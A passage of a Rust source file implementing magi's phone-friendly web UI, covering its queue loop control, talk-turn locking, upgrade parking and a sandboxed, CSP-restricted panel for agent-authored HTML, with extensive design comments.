Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # The loop runs here
72//!
73//! `magi web` runs the queue loop in this process, started and stopped from
74//! `/api/loop`. That is the point of the whole surface: a task filed from a
75//! phone with nobody around to type `magi serve` is a task that sits in the
76//! queue until someone walks back to the machine.
77//!
78//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
79//! is no pid file of this module's own and nothing to supervise - a child
80//! would need reaping, a second copy of the daemon's retry policy, and a
81//! story for what happens when `magi web` dies with the loop still running.
82//! `<home>/daemon.json`, which the loop itself writes, stays the only
83//! cross-process signal, and it is how this process notices that the
84//! operator's own `magi serve` already owns the loop and refuses to start a
85//! second one that would fight it for claims.
86//!
87//! Stopping is cooperative and therefore not instant. A run in flight is
88//! finished first, for the reason [`daemon::serve`] gives: killing the graph
89//! mid-node leaves worktrees, branches and agent sessions behind and throws
90//! away every agent call already paid for. `POST /api/loop` sets the flag and
91//! answers immediately rather than waiting, because the wait is measured in
92//! tens of minutes and the operator is holding a phone.
93
94use std::collections::{HashMap, HashSet};
95use std::convert::Infallible;
96use std::net::{IpAddr, Ipv4Addr, SocketAddr};
97use std::path::{Path as FsPath, PathBuf};
98use std::pin::Pin;
99use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
100use std::time::Duration;
101use tokio::sync::Notify;
102
103use anyhow::{Context, Result};
104use axum::Json;
105use axum::Router;
106use axum::body::Bytes;
107use axum::extract::rejection::JsonRejection;
108use axum::extract::{DefaultBodyLimit, Path, Query, State};
109use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
110use axum::response::sse::{Event, KeepAlive, Sse};
111use axum::response::{IntoResponse, Response};
112use axum::routing::{get, post, put};
113use jiff::Timestamp;
114use serde::{Deserialize, Serialize};
115use tokio_stream::StreamExt as _;
116use tokio_stream::wrappers::ReceiverStream;
117
118use crate::agent;
119use crate::ask::{self, Answer, Question, Questions};
120use crate::config::{AgentKind, Config, Update, UpdateMode};
121use crate::md;
122use crate::notices::{Notice, Notices};
123use crate::persona;
124use crate::persona_icon;
125use crate::proc::Quiet as _;
126use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
127use crate::run::{RunState, RunStatus};
128use crate::talk::{Talk, Talks};
129use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
130
131/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
132pub const DEFAULT_PORT: u16 = 7878;
133
134/// How often the change stream restats the queue and the runs directory.
135const POLL: Duration = Duration::from_secs(1);
136
137/// Keep-alive interval for the change stream. Phones and intermediaries drop
138/// an idle connection within a minute; a comment every fifteen seconds keeps
139/// the stream alive without waking the radio often enough to matter.
140const KEEPALIVE: Duration = Duration::from_secs(15);
141
142/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
143///
144/// A fixed period this long would not track a `[update] interval` shorter
145/// than itself: an operator who set `interval = "1m"` to make the deck
146/// notice a release within a minute would still wait up to fifteen of them
147/// for the next wake-up to even ask [`updater::Checker::should_check`].
148/// [`recheck_poll_period`] scales the sleep with the configured interval
149/// instead, and this is only its ceiling - reached at the default interval
150/// of a day, where waking any more often would just spend cycles asking a
151/// question that stays "no" for hours.
152const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
153
154/// Floor on the same, so a very short `[update] interval` cannot spin
155/// [`run_update_recheck`] in a near-busy loop.
156const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
157
158/// Runs returned when the client does not ask, and the ceiling if it asks for
159/// more. The cap exists because the list handler parses every `run.json` it
160/// returns, and a phone cannot render two thousand rows anyway.
161const LIST_DEFAULT: usize = 50;
162/// Upper bound for `?limit=`.
163const LIST_MAX: usize = 500;
164
165/// Width of a generated task title, matching what the CLI uses.
166const TITLE_MAX: usize = 72;
167
168/// Per-file cap for an attachment upload.
169///
170/// Enforced twice: axum's own body limit is raised one byte above this, only
171/// on the two attachment `POST` routes (see the router - every other route
172/// keeps the crate-wide default), so an oversize body is still read far
173/// enough to answer with our own message below rather than axum's generic
174/// one; this constant is what that message and the boundary check actually
175/// compare against.
176const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
177
178/// The image types an attachment upload accepts - a closed whitelist, the
179/// same posture [`asset_content_type`] takes for panel assets and for the
180/// same reason: SVG is excluded on purpose because it is active content
181/// (it may carry `<script>`) and not merely a picture, so it never appears
182/// here even though `image/svg+xml` is a real IANA type.
183const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
184
185/// Header carrying the operator's own filename. Free text, stored only for
186/// display - see [`talk::Attachment::name`]'s doc on why it never
187/// contributes to a path.
188const FILENAME_HEADER: &str = "x-filename";
189
190/// The header that makes serving agent-authored HTML defensible, sent by both
191/// panel routes and asserted verbatim by a test.
192///
193/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
194/// denies every fetch destination that is not re-allowed below, which is all of
195/// them except images and fonts; `img-src 'self' data:` means an image comes
196/// from magi's own asset route or from the document itself, so a panel cannot
197/// signal an outside server by pointing an `<img>` at it - the classic
198/// exfiltration channel for markup that cannot run script. `style-src
199/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
200/// free formatting means here and a style sheet cannot make a request that
201/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
202/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
203/// stops a form posting the owner's decision to a third party, and
204/// `frame-ancestors 'self'` stops another site framing the panel to phish with
205/// it.
206///
207/// There is deliberately no `script-src`: `default-src 'none'` already covers
208/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
209/// denied twice over. Weakening any directive here is the difference between a
210/// panel the owner reads and a page that can talk to the tailnet, which is why
211/// the test compares the whole string rather than looking for a substring.
212const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
213                         font-src data:; base-uri 'none'; form-action 'none'; \
214                         frame-ancestors 'self'";
215
216const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
217const APP_CSS: &str = include_str!("../assets/ui/app.css");
218const APP_JS: &str = include_str!("../assets/ui/app.js");
219
220/// Which address to listen on.
221#[derive(Debug, Clone, Copy, PartialEq, Eq)]
222pub enum Bind {
223    /// Ask Tailscale, and fall back to loopback with a warning.
224    Auto,
225    /// An address the operator named.
226    Addr(IpAddr),
227}
228
229impl std::str::FromStr for Bind {
230    type Err = String;
231
232    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
233    /// the CLI can take `--bind` straight into it: the one spelling of
234    /// `auto` that matters is the one this function knows.
235    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
236        if s.eq_ignore_ascii_case("auto") {
237            return Ok(Self::Auto);
238        }
239        s.parse()
240            .map(Self::Addr)
241            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
242    }
243}
244
245impl std::fmt::Display for Bind {
246    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
247        match self {
248            Self::Auto => f.write_str("auto"),
249            Self::Addr(addr) => write!(f, "{addr}"),
250        }
251    }
252}
253
254/// How to serve.
255#[derive(Debug, Clone)]
256pub struct Opts {
257    /// Address to listen on.
258    pub bind: Bind,
259    /// Port to listen on.
260    pub port: u16,
261    /// Repository used for tasks posted without one.
262    pub repo: PathBuf,
263    /// Print the URL on its own line for a caller that wants to hand it to a
264    /// browser. magi never launches one itself.
265    pub open: bool,
266    /// Merge mode override for the loop this process runs (`none`, `local`,
267    /// `pr`); `None` leaves it to each repository's own config.
268    ///
269    /// The same override `magi serve --merge` takes, and here for the same
270    /// reason: `magi web` is now the thing that runs the loop, so an operator
271    /// who wants this session's runs to open pull requests has to be able to
272    /// say so without going back to the command they no longer type.
273    pub merge: Option<String>,
274}
275
276impl Default for Opts {
277    fn default() -> Self {
278        Self {
279            bind: Bind::Auto,
280            port: DEFAULT_PORT,
281            repo: PathBuf::from("."),
282            open: false,
283            merge: None,
284        }
285    }
286}
287
288/// Everything the handlers touch.
289///
290/// The queue, the runs directory and the magi home are fields rather than
291/// process-global lookups so a test drives the real router against a temp
292/// directory instead of the operator's own history.
293#[derive(Debug, Clone)]
294pub struct Ui {
295    queue: Queue,
296    questions: Questions,
297    /// `<home>/notifications`, the bell's own store. Derived from `home` in
298    /// [`Ui::new`] so no constructor signature had to grow.
299    notices: Notices,
300    talks: Talks,
301    runs: PathBuf,
302    home: PathBuf,
303    repo: PathBuf,
304    /// Where the runs' worktrees live, for the health disk figures.
305    ///
306    /// Spelled independently of [`crate::run::default_worktree_root`] so the
307    /// test servers can point it at their own temp directory: the health route
308    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
309    /// be measuring the machine instead of the server.
310    worktrees_root: PathBuf,
311    /// Talks with an agent turn in flight right now.
312    ///
313    /// In-process and therefore not durable, which is correct: it guards
314    /// against two taps on one phone and two phones on one tailnet, both of
315    /// which are this process's own concurrency. A second `magi web` would not
316    /// see it, and a second `magi web` on the same home is already a
317    /// misconfiguration the queue's claims would catch first.
318    talk_turns: Arc<Mutex<TalkTurns>>,
319    /// Held by `POST /api/upgrade` from its busy-stage check until the first
320    /// progress record is written, so two taps cannot both start an upgrade.
321    /// After that `upgrade.json` carries the exclusion.
322    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
323    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
324    /// exclusion in memory for when `upgrade.json` could not be written.
325    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
326    /// Runs this process is resuming right now.
327    ///
328    /// Separate from `talk_turns` because a run and a talk are different
329    /// things to hold, and a resume is far more expensive to start twice: it
330    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
331    /// guards two taps and two phones, which is this process's own
332    /// concurrency.
333    resuming: Arc<Mutex<HashSet<String>>>,
334    /// The last scan of `[repos] roots`, and when it happened. Shared across
335    /// requests so polling `GET /api/repos` repeatedly does not repeat the
336    /// filesystem walk every time - see [`repos::Cache`].
337    repos_cache: repos::Cache,
338    /// The machine-config file the settings screen reads and writes: always
339    /// [`Config::machine_layer`], never anything a request names. A field so a
340    /// test can point it at its own temp directory instead of the operator's.
341    machine_config: Option<PathBuf>,
342    /// Merge mode override handed to the loop this process starts.
343    merge: Option<String>,
344    /// The loop this process is running, if it is running one.
345    looping: Arc<Mutex<LoopState>>,
346    /// How a loop is actually started.
347    ///
348    /// A field rather than a direct call to [`daemon::serve_until`], because
349    /// the real loop resolves its queue and its status file through the
350    /// process-global magi home and claims whatever it finds there. A test
351    /// that started it would reach straight past its own temp directory into
352    /// the operator's live queue, overwrite the status file of the `magi
353    /// serve` that owns it, and spend real agent quota on a real competition.
354    /// What the routes have to get right is the bookkeeping, so the tests
355    /// drive the routes against a loop that only starts and stops; production
356    /// is [`launch_daemon`] and nothing reassigns it.
357    launch: Launch,
358    /// A test-only stop point inside `talk_say`'s busy branch. See
359    /// [`BusyQueueGate`].
360    #[cfg(test)]
361    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
362}
363
364/// A one-shot stop point the busy branch's queued-draft write can be made to
365/// pause at, right before [`talk::queue`] runs.
366///
367/// Exists because a test cannot otherwise pin *when*, relative to the turn
368/// slot being freed, that write happens: `blocking` runs it on
369/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
370/// already finished, so counting polls on the handler future to park it at a
371/// particular `.await` is a guess about scheduling, not a fact about it - see
372/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
373/// used to do exactly that and paid for it with an occasional "async fn
374/// resumed after completion" panic under load.
375///
376/// `reached` fires the instant the write is about to run, so a test waits for
377/// a real event instead of a poll count. `release` then blocks the write
378/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
379/// rather than an async channel because this all happens inside the
380/// `spawn_blocking` closure the write already runs on, off any runtime
381/// worker, so blocking here costs nothing the write was not already going to
382/// cost.
383#[cfg(test)]
384struct BusyQueueGate {
385    reached: tokio::sync::oneshot::Sender<()>,
386    release: std::sync::mpsc::Receiver<()>,
387}
388
389#[cfg(test)]
390impl std::fmt::Debug for BusyQueueGate {
391    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
392        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
393    }
394}
395
396impl Ui {
397    /// A server over explicit paths.
398    pub fn new(
399        queue: Queue,
400        questions: Questions,
401        talks: Talks,
402        runs: PathBuf,
403        home: PathBuf,
404        repo: PathBuf,
405    ) -> Self {
406        Self {
407            queue,
408            questions,
409            notices: Notices::at(home.join("notifications")),
410            talks,
411            runs,
412            home,
413            repo,
414            // The default location, overridden by `with_worktrees_root` - a
415            // builder step rather than a ninth parameter, for the reason
416            // `with_merge` gives.
417            worktrees_root: run::default_worktree_root(),
418            talk_turns: Arc::default(),
419            upgrade_gate: Arc::default(),
420            upgrade_spawned: Arc::default(),
421            resuming: Arc::default(),
422            repos_cache: repos::Cache::new(),
423            machine_config: Config::machine_layer(),
424            merge: None,
425            looping: Arc::default(),
426            launch: launch_daemon,
427            #[cfg(test)]
428            busy_queue_gate: Arc::default(),
429        }
430    }
431
432    /// The operator's own state: `<home>/queue`, `<home>/questions`,
433    /// `<home>/talks`, `<home>/runs`.
434    pub fn open(repo: PathBuf) -> Self {
435        Self::new(
436            Queue::open(),
437            Questions::open(),
438            Talks::open(),
439            run::runs_root(),
440            run::home(),
441            repo,
442        )
443    }
444
445    /// The merge mode the loop should use, as the command line gave it.
446    ///
447    /// A builder step rather than a seventh parameter on [`Ui::new`], because
448    /// the override is a property of how this process was invoked and not of
449    /// where its state lives - which is all the tests that build a `Ui` by
450    /// hand are saying.
451    #[must_use]
452    pub fn with_merge(mut self, merge: Option<String>) -> Self {
453        self.merge = merge;
454        self
455    }
456
457    /// The machine-config file the settings screen writes, when it is not
458    /// [`Config::machine_layer`] (tests).
459    #[cfg(test)]
460    #[must_use]
461    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
462        self.machine_config = path;
463        self
464    }
465
466    /// Where the runs' worktrees live, when it is not the default.
467    ///
468    /// The health view sizes this directory, so a test that leaves it at the
469    /// default would be measuring the operator's own machine.
470    #[must_use]
471    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
472        self.worktrees_root = root;
473        self
474    }
475
476    /// Point the loop at something other than [`launch_daemon`].
477    ///
478    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
479    /// this crate may start the real loop.
480    #[cfg(test)]
481    #[must_use]
482    fn with_launch(mut self, launch: Launch) -> Self {
483        self.launch = launch;
484        self
485    }
486
487    /// Install a [`BusyQueueGate`] for the next pass through the busy
488    /// branch's queued-draft write, replacing any earlier one.
489    ///
490    /// A setter on `&self` rather than a `with_*` builder consumed once,
491    /// because a test that drives the busy branch more than once (as
492    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
493    /// to build confidence the interleaving is handled deterministically and
494    /// not just on a lucky run) needs a fresh channel pair each time, on the
495    /// one `Ui` it already built its temp directories around.
496    #[cfg(test)]
497    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
498        *self
499            .busy_queue_gate
500            .lock()
501            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
502    }
503
504    /// The loop's state, for [`serve`]'s own way out.
505    fn looping(&self) -> Arc<Mutex<LoopState>> {
506        Arc::clone(&self.looping)
507    }
508
509    /// Start the loop in this process, or say who already has one.
510    ///
511    /// `foreign` is passed in rather than read here so that one request makes
512    /// one judgement about who owns the loop: reading the status file again
513    /// inside this function could refuse a start for a daemon the same
514    /// response then reports as gone.
515    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
516        if let Some(other) = foreign {
517            return Err(ApiError::conflict(format!(
518                "{} is already running the loop, so this one will not start a \
519                 second: two loops on one queue race for the same claims and \
520                 burn the agent quota twice over. Stop it where it was \
521                 started.",
522                other.who()
523            )));
524        }
525        let mut state = self.lock_loop();
526        if state.live.as_ref().is_some_and(Live::alive) {
527            return Err(ApiError::conflict(format!(
528                "this magi web process (pid {}) is already running the loop",
529                std::process::id()
530            )));
531        }
532
533        let stop = daemon::Stop::new();
534        // The CLI's own defaults for everything the UI has no opinion about:
535        // one poll interval and one retry budget, so a loop started from a
536        // phone behaves exactly like the `magi serve` it replaces.
537        let opts = daemon::Opts {
538            repo: self.repo.clone(),
539            merge: self.merge.clone(),
540            // Whatever this `Ui` already reports worktree sizes and folds
541            // against (see `with_worktrees_root`) is what the loop it starts
542            // must reclaim orphaned worktrees under too - two different
543            // opinions about where the worktree bay is would leave the
544            // janitor pass reclaiming a directory nothing else on this
545            // process is even looking at.
546            worktrees_root: Some(self.worktrees_root.clone()),
547            ..daemon::Opts::default()
548        };
549        let launch = self.launch;
550        let looping = Arc::clone(&self.looping);
551        let handle = tokio::spawn({
552            let opts = opts.clone();
553            let stop = stop.clone();
554            async move {
555                let failure = match launch(opts, stop).await {
556                    Ok(()) => None,
557                    Err(e) => Some(format!("{e:#}")),
558                };
559                match &failure {
560                    Some(why) => tracing::error!("the loop stopped: {why}"),
561                    None => tracing::info!("the loop stopped"),
562                }
563                // Recorded by the task itself rather than reaped by whichever
564                // request happens next, so `loop_rev` moves the moment the
565                // loop ends and a phone with the change stream open learns
566                // that it did. Clearing `live` drops this task's own handle,
567                // which only detaches it, and is the last thing it does.
568                let mut state = lock_or_recover(&looping);
569                state.live = None;
570                state.last_error = failure;
571                state.rev += 1;
572            }
573        });
574        tracing::info!(
575            "the loop is now running in this process: repo {}, merge {}",
576            opts.repo.display(),
577            opts.merge.as_deref().unwrap_or("as the config says")
578        );
579        state.live = Some(Live { stop, handle, opts });
580        // A fresh start is not the place to keep showing why the last one
581        // died; the operator has read it and pressed the button anyway.
582        state.last_error = None;
583        state.rev += 1;
584        Ok(())
585    }
586
587    /// Ask the loop to stop, without waiting for it to get there.
588    ///
589    /// Idempotent: a second tap on stop is not an error, because the first one
590    /// leaves the loop running for as long as the run in flight takes and the
591    /// operator has no way to tell a slow stop from a lost one.
592    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
593        if let Some(other) = foreign {
594            return Err(ApiError::conflict(format!(
595                "the loop belongs to {}, and this process cannot stop it - \
596                 stop it where it was started. A button that silently did \
597                 nothing would be worse than this refusal.",
598                other.who()
599            )));
600        }
601        let mut state = self.lock_loop();
602        // An operator who stops the loop has decided it stays stopped, even
603        // across an upgrade that was already in flight.
604        if !park {
605            state.resume_after_handover = false;
606        }
607        let Some(live) = state.live.as_ref() else {
608            return Ok(());
609        };
610        // A park upgrades a stop that has already been asked for: the
611        // operator who tapped "stop" and then realised the run has an hour
612        // left must not have to restart the loop to change their mind.
613        if live.stop.stopped() && (!park || live.stop.parking()) {
614            return Ok(());
615        }
616        if park {
617            live.stop.park();
618            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
619        } else {
620            live.stop.stop();
621            tracing::info!("the loop was asked to stop; a run in flight is finished first");
622        }
623        state.rev += 1;
624        Ok(())
625    }
626
627    /// The loop as both `/api/loop` and `/api/health` report it.
628    ///
629    /// `reading` is the caller's single read of `<home>/daemon.json`, because
630    /// health answers with this view *and* the daemon object beside it: one
631    /// read per response is what stops a single answer naming a foreign owner
632    /// in one field and calling the loop free in the other.
633    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
634        let state = self.lock_loop();
635        // A loop that panicked never recorded its own end, so the handle -
636        // not the presence of the record - is what "running" means.
637        let live = state.live.as_ref().filter(|live| live.alive());
638        LoopView {
639            running: live.is_some(),
640            stopping: live.is_some_and(|live| live.stop.finishing()),
641            parking: live.is_some_and(|live| live.stop.parking()),
642            owned: live.is_some(),
643            repo: live
644                .map_or(&self.repo, |live| &live.opts.repo)
645                .display()
646                .to_string(),
647            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
648            last_error: state.last_error.clone(),
649            daemon: DaemonView::of(reading),
650        }
651    }
652
653    /// Start the loop in a successor whose predecessor was running one.
654    ///
655    /// Goes through the same path as the UI's start-loop action. A refusal
656    /// (another process owns the loop) is logged and left in `last_error`;
657    /// the loop then simply stays stopped.
658    fn resume_after_handover(&self, resume: bool) -> bool {
659        if !resume {
660            return false;
661        }
662        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
663        match self.start_loop(foreign) {
664            Ok(()) => true,
665            Err(e) => {
666                let why = format!(
667                    "the loop could not be resumed after the upgrade: {}",
668                    e.message
669                );
670                tracing::warn!("{why}");
671                let mut state = self.lock_loop();
672                state.last_error = Some(why);
673                state.rev += 1;
674                false
675            }
676        }
677    }
678
679    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
680    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
681        lock_or_recover(&self.looping)
682    }
683
684    /// Whether this process currently owns the agent turn for `id`.
685    ///
686    /// This deliberately describes only the in-memory claim made by
687    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
688    /// never persisted with a [`Talk`].
689    fn is_thinking(&self, id: &str) -> bool {
690        self.talk_turns
691            .lock()
692            .is_ok_and(|turns| turns.live.contains(id))
693            // Another process (the CLI) can hold the turn through the
694            // on-disk lease.
695            || self.talks.turn_held(id)
696    }
697
698    /// Claim the right to run one turn in a talk, or report that it is busy.
699    ///
700    /// A talk is strictly turn-based: the agent is resumed with the
701    /// conversation it already has, so two turns running at once would resume
702    /// the same session twice and append their answers in whatever order the
703    /// two CLIs finished in. The operator would come back to a transcript
704    /// with two half-turns interleaved, which is unreadable and, worse,
705    /// unfixable - there is no undo for a persisted turn.
706    ///
707    /// A busy result is queued as a durable draft by [`talk_say`], rather than
708    /// starting a second CLI invocation for the same session.
709    ///
710    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
711    /// taken to test-and-insert and released before the agent is spawned. The
712    /// returned guard removes the id on drop, which is what makes a panicking
713    /// handler or a phone that walks out of range leave the talk usable - axum
714    /// drops the handler future when the client disconnects, and without the
715    /// guard that talk would be wedged until the server restarted.
716    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
717        self.claim_talk_turn(id, false)
718    }
719
720    /// Claim a turn after durably queueing a draft, or notify its current
721    /// owner that a drainer must recheck before it releases the slot.
722    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
723        self.claim_talk_turn(id, true)
724    }
725
726    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
727        let mut live = self
728            .talk_turns
729            .lock()
730            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
731        if live.parking {
732            if queued {
733                // The draft is already durable; nothing may drain it until
734                // the successor is up, so the caller sees a busy slot.
735                *live.queued.entry(id.to_owned()).or_default() += 1;
736                return Ok(None);
737            }
738            return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
739        }
740        let inserted = live.live.insert(id.to_owned());
741        // The on-disk lease is the cross-process half of the gate. Taken
742        // second, and undone if lost, so `live` never claims a turn the lease
743        // refused.
744        let lease = if inserted {
745            match self.talks.claim_turn(id) {
746                Ok(Some(lease)) => Some(lease),
747                Ok(None) => {
748                    live.live.remove(id);
749                    None
750                }
751                Err(e) => {
752                    live.live.remove(id);
753                    return Err(ApiError::from(e));
754                }
755            }
756        } else {
757            None
758        };
759        if lease.is_none() {
760            if queued {
761                // A queued write has landed before this busy check.
762                // `drain_loop` uses this generation to recheck after its
763                // off-thread disk read, so it cannot release a turn between
764                // this check and the write.
765                *live.queued.entry(id.to_owned()).or_default() += 1;
766            }
767            return Ok(None);
768        }
769        Ok(Some(TalkTurnGuard {
770            talk: id.to_owned(),
771            turns: Arc::clone(&self.talk_turns),
772            released: false,
773            lease,
774        }))
775    }
776
777    /// Decide whether a free talk may start a new immediate turn while its
778    /// claim lock is held. A persisted draft without an owner is recovery
779    /// state, not a busy turn: two simultaneous `/say` requests must both
780    /// leave it untouched rather than one of them appending to it.
781    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
782        let mut live = self
783            .talk_turns
784            .lock()
785            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
786        // Same answer as a running turn: the text is queued as a draft.
787        if live.parking || live.live.contains(id) {
788            return Ok(TalkTurnStart::Busy);
789        }
790        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
791            return Ok(TalkTurnStart::Foreign);
792        };
793        // A refused `Pending` below drops the lease again.
794        let talk = self.talks.get(id).map_err(ApiError::from)?;
795        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
796            return Ok(TalkTurnStart::Pending);
797        }
798        live.live.insert(id.to_owned());
799        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
800            talk: id.to_owned(),
801            turns: Arc::clone(&self.talk_turns),
802            released: false,
803            lease: Some(lease),
804        }))
805    }
806
807    /// The shared turn slots, for the upgrade hand-over to wait on.
808    fn turns(&self) -> Arc<Mutex<TalkTurns>> {
809        Arc::clone(&self.talk_turns)
810    }
811
812    /// Park the loop for an upgrade, and report the run that is parking.
813    ///
814    /// A park rather than a stop: a stop waits out the whole competition, and
815    /// not waiting is the point of upgrading from a phone. `None` means
816    /// nothing was in flight, which is worth saying so the operator is not
817    /// told a run is parking when none is.
818    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
819        let parking = {
820            let mut state = self.lock_loop();
821            // Decided here, before the park: by the time the handover fires
822            // an idle loop has already seen the park and ended, so `live`
823            // would read as "was never running". A loop the operator had
824            // already stopped stays stopped.
825            //
826            // Sticky: a second upgrade request finds the loop already
827            // stopping because of the first one's park, and must not read
828            // that as the operator having stopped it. Only an explicit stop
829            // or a failed update clears an earlier intent.
830            let resume = state.resume_after_handover
831                || state
832                    .live
833                    .as_ref()
834                    .is_some_and(|live| live.alive() && !live.stop.stopped());
835            state.resume_after_handover = resume;
836            let Some(live) = state.live.as_ref() else {
837                return Ok(None);
838            };
839            let busy = live.stop.busy_now();
840            live.stop.park();
841            state.rev += 1;
842            busy
843        };
844        Ok(if parking {
845            // More than one run can be in flight now (see
846            // `Config::daemon.max_concurrent_runs`); this answer names one of
847            // them so the operator sees a park actually happened, not every
848            // run a park now asks to stop at its next boundary.
849            daemon::current_work(&self.home, jiff::Timestamp::now())
850                .into_iter()
851                .next()
852                .map(|c| c.run)
853        } else {
854            None
855        })
856    }
857
858    /// Claim a run for a resume, on the same reasoning as
859    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
860    /// disconnected phone does not wedge the run until the server restarts.
861    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
862        let mut live = self
863            .resuming
864            .lock()
865            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
866        if !live.insert(id.to_owned()) {
867            return Err(ApiError::conflict(format!(
868                "run {id} is already being resumed"
869            )));
870        }
871        Ok(ResumeGuard {
872            run: id.to_owned(),
873            resuming: Arc::clone(&self.resuming),
874        })
875    }
876
877    /// The router, with this state baked in.
878    ///
